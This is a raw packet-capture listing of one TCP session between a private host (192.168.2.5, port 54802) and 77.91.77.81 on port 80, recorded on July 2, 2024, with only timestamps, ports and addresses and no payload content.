Jul 2, 2024 04:13:05.973933935 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:05.974029064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.974029064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.974029064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:05.974029064 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005069017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005155087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005166054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005172014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005182981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005196095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005208969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005218983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005228996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005228996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005228996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005254984 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005601883 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005650043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005654097 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005662918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005693913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005695105 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005706072 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005717039 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005717993 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005732059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005738974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005754948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005763054 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005767107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005778074 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005788088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005790949 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005809069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005815029 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005821943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005834103 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005836010 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005846024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.005858898 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.005883932 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035226107 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035238981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035250902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035270929 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035288095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035299063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035310030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035320044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035325050 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035373926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035384893 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035409927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035420895 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035430908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035444975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035465002 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035475969 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035485983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035492897 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035497904 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035521030 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035531044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035543919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035543919 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035554886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035568953 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035587072 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035608053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035641909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035653114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035664082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035682917 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035707951 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035710096 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035722017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035742044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035753965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035754919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035765886 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035778046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035787106 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035797119 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035805941 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035809994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035821915 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035831928 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035835028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035850048 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035875082 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.035897017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.035943031 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.036461115 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036472082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036492109 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036504030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036514997 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.036516905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036531925 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.036539078 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036550999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036557913 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.036564112 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.036590099 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.036601067 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037111044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037122965 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037132978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037162066 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037185907 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037189007 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037199974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037210941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037223101 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037231922 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037255049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037271976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037317038 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037415981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037461996 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037489891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037499905 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037528992 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037540913 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037558079 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037570000 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037595987 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037606955 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037623882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037635088 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037646055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037663937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037667990 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037683964 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037694931 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037703991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037715912 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037724018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037728071 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037740946 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037746906 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037753105 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037766933 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037791014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037798882 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037810087 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037818909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037832975 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037839890 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037847996 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037862062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037866116 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037874937 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037874937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037906885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037929058 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037935019 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037945032 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037955046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037961006 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037972927 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.037978888 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.037987947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.038002014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.038002014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.038012981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.038019896 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.038048029 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068116903 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068135977 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068147898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068231106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068248987 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068259954 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068272114 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068281889 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068293095 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068310976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068321943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068331003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068342924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068355083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068365097 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068387985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.068433046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.099766970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099780083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099798918 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099817038 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099828959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099839926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099858999 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.099864960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100013971 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100147009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100172043 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100189924 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100200891 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100207090 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100228071 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100250959 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100255966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100272894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100285053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100296974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100307941 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100330114 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100404024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100414991 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100425959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100435972 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100455999 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100474119 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100532055 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100543976 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100555897 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100581884 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100594997 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.100621939 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100635052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.100665092 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.129738092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.129822016 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130037069 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130060911 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130079031 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130079985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130089998 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130101919 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130106926 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130124092 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130131960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130136967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130161047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130162001 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130172014 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130182028 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130182981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130194902 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130206108 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130208015 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130217075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130235910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130237103 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130254030 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130260944 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130265951 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130275965 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130278111 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130299091 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130306005 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130312920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130323887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130331039 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130338907 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130352974 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130373001 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130378008 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130393028 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130404949 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130408049 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130433083 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130439997 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130445957 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130458117 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130469084 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130481005 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130484104 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130496979 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130506992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130512953 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130518913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130532026 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130537033 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130546093 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130556107 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130558968 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130569935 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.130587101 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130600929 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.130623102 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131105900 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131118059 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131145954 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131160975 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131175995 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131186962 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131200075 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131210089 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131222963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131232023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131241083 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131247044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131257057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.131278038 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.131298065 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132025003 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132035017 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132051945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132065058 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132070065 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132076025 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132086992 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132106066 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132114887 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132118940 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132129908 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132145882 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132169962 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132577896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132587910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132618904 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132646084 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132766008 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132807970 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132816076 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132827044 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132846117 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:06.132848024 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:06.132859945 CEST	54802	80	192.168.2.5	77.91.77.81
